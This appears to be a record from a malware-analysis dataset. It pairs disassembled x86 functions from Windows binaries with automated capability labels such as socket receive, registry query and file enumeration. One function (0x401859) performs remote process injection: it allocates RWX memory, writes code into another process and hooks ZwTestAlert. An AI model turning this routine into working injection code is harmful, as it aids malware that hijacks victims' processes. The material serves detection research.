joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ae84c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4ae99f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004adcc4
xor eax, eax
push ebp
push 0x4ae982
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4ae8b4
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4ae8b4
lea eax, [ebp - 0x10]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x4ae96c
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4ae8c7
call fcn.0040400c
jmp 0x4ae989
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4ae96c
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x2733
je 0x4ae96c
lea eax, [ebp - 0x14]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004039c8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x14], 0
je 0x4ae96c
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
call fcn.0040c0f8
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
mov eax, 0x4ae9b8
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0xb
lea eax, [ebp - 0x2c]
push eax
push 2
mov ecx, dword [0x4c2248]
mov dl, 1
mov eax, dword [0x4acf3c]
call fcn.0040cba8
call fcn.00403f60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ae989
mov eax, dword [ebp - 4]
call fcn.004adcdc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ae9a6
lea eax, [ebp - 0x30]
call fcn.0040454c
ret

Function at 0x4af478
Capabilities:
Initialize winsock library

Disassembly:
add esp, 0xfffffe70
mov byte [0x4c4480], 0
mov eax, sub.wsock32.dll_WSAStartup
test eax, eax
je 0x4af4af
push esp
push 0x101
call sub.wsock32.dll_WSAStartup
sub eax, 0x2726
je 0x4af4af
add eax, 0xffffffbb
sub eax, 2
jb 0x4af4af
mov byte [0x4c4480], 1
add esp, 0x190
ret

Function at 0x4b0d44
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov esi, edx
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x105
call fcn.00403190
push esp
push ebx
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov edx, esi
lea eax, [esp + 4]
call fcn.0040976c
add esp, 0x10c
pop esi
pop ebx
ret
Function at 0x49cd81
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4d2034]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x49cdcc
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0049d243
test al, al
jne 0x49cdc6
sub edx, 2
cmp edx, edi
jne 0x49cdac
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x49cdee
lea eax, [edi + 2]
cmp edx, eax
je 0x49cdee
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0049c97a
add esp, 0x10
jmp 0x49cee8
push esi
lea ecx, [ebp - 0x255]
call fcn.0049d243
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x49ce31
push dword [ebp - 0x25c]
jmp 0x49cdde
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x49ce6e
cmp word [ebp - 0x226], 0
je 0x49ce8f
cmp word [ebp - 0x226], ax
jne 0x49ce6e
cmp word [ebp - 0x224], 0
je 0x49ce8f
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0049c97a
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x49cedb
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x49ce48
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x49cec3
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x49cee8
push 0x49c362
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004056a0
add esp, 0x10
jmp 0x49ceb8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004030f3
leave
ret
Function at 0x401059
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.SOFTWARETENCENTPLATFORM_TYPE_LIST1
push 0x80000002
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010ae
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push esi
push esi
push str.TypePath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4010a5
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 4
Function at 0x4015a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
or eax, 0xffffffff
cmp dword [esp + 8], 0
je 0x4015d3
mov ecx, dword [esp + 4]
push esi
movzx esi, byte [ecx]
dec dword [esp + 0xc]
mov edx, eax
and edx, 0xff
xor edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x4092c0]
inc ecx
cmp dword [esp + 0xc], 0
jne 0x4015af
pop esi
not eax
ret 8

Function at 0x401622
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp + 8], esi
jne 0x401654
xor eax, eax
jmp 0x401714
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
mov eax, 0x4000
cmp edi, eax
jle 0x40166a
mov edi, eax
cmp edi, 0x40
jae 0x401672
push esi
jmp 0x4016ad
lea eax, [edi + 1]
cmp eax, 4
jg 0x40167d
push 4
pop eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x4016aa
push ebx
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x4016b5
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4016d3
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
cmp word [esi], 0x5a4d
je 0x4016d7
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [ebp + 8]
call edi
xor eax, eax
jmp 0x401713
mov eax, dword [esi + 0x3c]
add eax, esi
mov ecx, dword [eax + 0x58]
mov edi, dword [eax + 8]
mov dword [eax + 0x58], ebx
mov dword [eax + 8], ebx
push dword [ebp - 4]
mov dword [ebp + 8], ecx
push esi
call fcn.004015a0
xor eax, 0x16954231
cmp edi, ebx
nop
nop
cmp dword [ebp + 8], eax
nop
nop
mov dword [ebp - 8], 1
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40171a
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp + 8], esi
jne 0x401747
xor eax, eax
jmp 0x4017be
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
mov eax, 0x4000
cmp edi, eax
jle 0x40175d
mov edi, eax
cmp edi, 0x40
jae 0x401765
push esi
jmp 0x4017b5
lea eax, [edi + 1]
cmp eax, 4
jg 0x401770
push 4
pop eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x4017b2
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
push ebx
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x4017c4
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
cmp word [esi], 0x5a4d
je 0x4017e1
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
jmp 0x4017bd
mov eax, dword [esi + 0x3c]
add eax, esi
push edi
push esi
mov dword [eax + 0x58], ebx
mov dword [eax + 8], ebx
call fcn.004015a0
mov edi, eax
xor edi, 0x16954231
jmp 0x4017cd
Function at 0x401859
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x40c018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x40
push 0x1000
mov ebx, 0x234
push ebx
push 0
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x401998
push 0xffffffffffffffde
lea eax, [edi + 0x2c]
mov dword [esi + 0x19], eax
pop eax
push str.ZwTestAlert
sub eax, edi
add dword [esi + 0x1e], eax
push str.ntdll.dll
mov byte [esi + 0x18], 0x68
mov byte [esi + 0x1d], 0xe8
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 5
push eax
mov dword [ebp - 0x1c], eax
lea eax, [esi + 0x27]
push eax
call fcn.004021b0
mov eax, dword [ebp - 0x1c]
mov ecx, eax
sub ecx, edi
mov dword [esi + 6], eax
sub ecx, 0x27
push 0xe
lea eax, [ebp - 0x14]
push eax
mov dword [esi + 0x23], ecx
lea eax, [esi + 0xa]
lea ecx, [edi + 0x27]
push eax
mov byte [esi + 0x22], 0xe9
mov byte [esi], 0xba
mov dword [esi + 1], ecx
mov byte [esi + 5], 0xb8
mov byte [ebp - 0x14], 0x8b
mov byte [ebp - 0x13], 0xa
mov byte [ebp - 0x12], 0x89
mov byte [ebp - 0x11], 8
mov byte [ebp - 0x10], 0x83
mov byte [ebp - 0xf], 0xc2
mov byte [ebp - 0xe], 4
mov byte [ebp - 0xd], 0x83
mov byte [ebp - 0xc], 0xc0
mov byte [ebp - 0xb], 4
mov byte [ebp - 0xa], 0x8a
mov byte [ebp - 9], 0xa
mov byte [ebp - 8], 0x88
mov byte [ebp - 7], 8
call fcn.004021b0
add esp, 0x18
push 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push edi
push dword [ebp - 0x18]
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
push edi
push dword [ebp - 0x18]
call ebx
sub edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push dword [ebp - 0x1c]
sub edi, 5
push dword [ebp - 0x18]
mov byte [ebp - 0x24], 0xe9
mov dword [ebp - 0x23], edi
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
test eax, eax
je 0x401998
push 0
push 5
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
call esi
push 5
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401e84
leave
ret 8

Function at 0x401e84
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c018]
jne 0x401e8e
repz ret
jmp fcn.00403e3e
Function at 0x404b3b
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x40c7f8]
je 0x404b56
inc edi
cmp edi, 0x17
jb 0x404b47
cmp edi, 0x17
jae 0x404cd6
push ebp
push 3
call fcn.00407ae0
cmp eax, 1
pop ecx
je 0x404ca2
push 3
call fcn.00407ae0
test eax, eax
pop ecx
jne 0x404b8a
cmp dword [0x40c040], 1
je 0x404ca2
cmp ebx, 0xfc
je 0x404cd5
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x410118
push ebp
call fcn.00405e69
add esp, 0xc
test eax, eax
je 0x404bc0
push esi
push esi
push esi
push esi
push esi
call fcn.004037c8
add esp, 0x14
push 0x104
mov esi, 0x410131
push esi
push 0
mov byte [0x410235], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x404c04
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00405e69
add esp, 0xc
test eax, eax
je 0x404c04
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.004037c8
add esp, 0x14
push esi
call fcn.00405ed0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x404c49
push esi
call fcn.00405ed0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x41042c
push 0x409de4
sub ecx, eax
push ecx
push eax
call fcn.00405db6
add esp, 0x14
test eax, eax
je 0x404c49
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.004037c8
add esp, 0x14
jmp 0x404c4b
xor esi, esi
push 0x409de0
push ebx
push ebp
call fcn.00405cf9
add esp, 0xc
test eax, eax
je 0x404c6b
push esi
push esi
push esi
push esi
push esi
call fcn.004037c8
add esp, 0x14
push dword [edi*8 + 0x40c7fc]
push ebx
push ebp
call fcn.00405cf9
add esp, 0xc
test eax, eax
je 0x404c8d
push esi
push esi
push esi
push esi
push esi
call fcn.004037c8
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00407923
add esp, 0xc
jmp 0x404cd5
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x404cd5
cmp ebp, 0xffffffff
je 0x404cd5
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x40c7fc]
push dword [esi]
call fcn.00405ed0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x407923
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00403206
xor ebx, ebx
cmp dword [0x41070c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4079f9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x407ad9
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40aef0
push edi
call esi
cmp eax, ebx
je 0x407ad9
push eax
call fcn.00403198
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41070c], eax
call esi
push eax
call fcn.00403198
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x410710], eax
call esi
push eax
call fcn.00403198
mov dword [0x410714], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040425b
test eax, eax
pop ecx
pop ecx
je 0x4079c7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004037c8
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4079f9
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00403198
cmp eax, ebx
pop ecx
mov dword [0x41071c], eax
je 0x4079f9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403198
pop ecx
mov dword [0x410718], eax
mov eax, dword [0x410718]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x407a7e
cmp dword [0x41071c], ecx
je 0x407a7e
push eax
call fcn.0040320f
push dword [0x41071c]
mov esi, eax
call fcn.0040320f
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x407a7e
cmp edi, ebx
je 0x407a7e
call esi
cmp eax, ebx
je 0x407a4b
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407a4b
test byte [ebp - 0x18], 1
jne 0x407a7e
lea eax, [ebp - 0x10]
push eax
call fcn.00404292
test eax, eax
pop ecx
je 0x407a66
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004037c8
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x407a75
or dword [ebp + 0x10], 0x200000
jmp 0x407ab9
or dword [ebp + 0x10], 0x40000
jmp 0x407ab9
mov eax, dword [0x410710]
cmp eax, dword [ebp - 8]
je 0x407ab9
push eax
call fcn.0040320f
cmp eax, ebx
pop ecx
je 0x407ab9
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x407ab9
mov eax, dword [0x410714]
cmp eax, dword [ebp - 8]
je 0x407ab9
push eax
call fcn.0040320f
cmp eax, ebx
pop ecx
je 0x407ab9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41070c]
call fcn.0040320f
cmp eax, ebx
pop ecx
je 0x407ad9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407adb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40326c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4d6020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403304
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4032e4
xor eax, eax
push ebp
push 0x4032dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403320
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4032e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4d6020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4d6020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4040b0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4dc04c], 0
je 0x404111
cmp word [0x4dc220], 0xd7b2
jne 0x4040d9
cmp dword [0x4dc228], 0
jbe 0x4040d9
mov eax, 0x4dc21c
call dword [0x4dc238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4d6074
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404138
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4d6030], 0
jne 0x40412d
push 0
push 0x4d606c
push 0x4d6074
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404264
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004027a4
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4dc04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x40422c
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x406690
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4066f6
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404520
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402ca4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4066e0
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4066fd
lea eax, [ebp - 0x10]
call fcn.004042b0
ret

Function at 0x40960c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404770
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409625
test al, 0x10
jne 0x409629
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40c248
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c281
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004043a0
jmp 0x40c28a
mov eax, ebx
mov edx, esi
call fcn.00404304
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c294
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c2b5
mov al, byte [esp]
jmp 0x40c2b7
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c93c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c7b4
mov eax, dword [0x4db270]
cmp byte [eax], 0
je 0x40c9b8
mov eax, dword [0x4dae64]
call fcn.00402ad4
call fcn.0040290c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409930
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40ca00
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c9ee
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4dadc8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4dc668]
call fcn.00405b54
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40d29c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d372
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404348
lea eax, [ebp - 8]
call fcn.004047c0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404770
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d35c
mov eax, ebx
call fcn.004027a4
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d355
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404770
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40d33f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d384
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40d33f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d35c
mov eax, dword [ebp - 0x10]
call fcn.004027c4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d379
lea eax, [ebp - 8]
call fcn.004042b0
ret

Function at 0x40d928
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d98c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404520
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00409188
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d993
lea eax, [ebp - 0xc]
call fcn.004042b0
ret

Function at 0x4221b0
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.00422008
dec esi
jne 0x4221d2
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret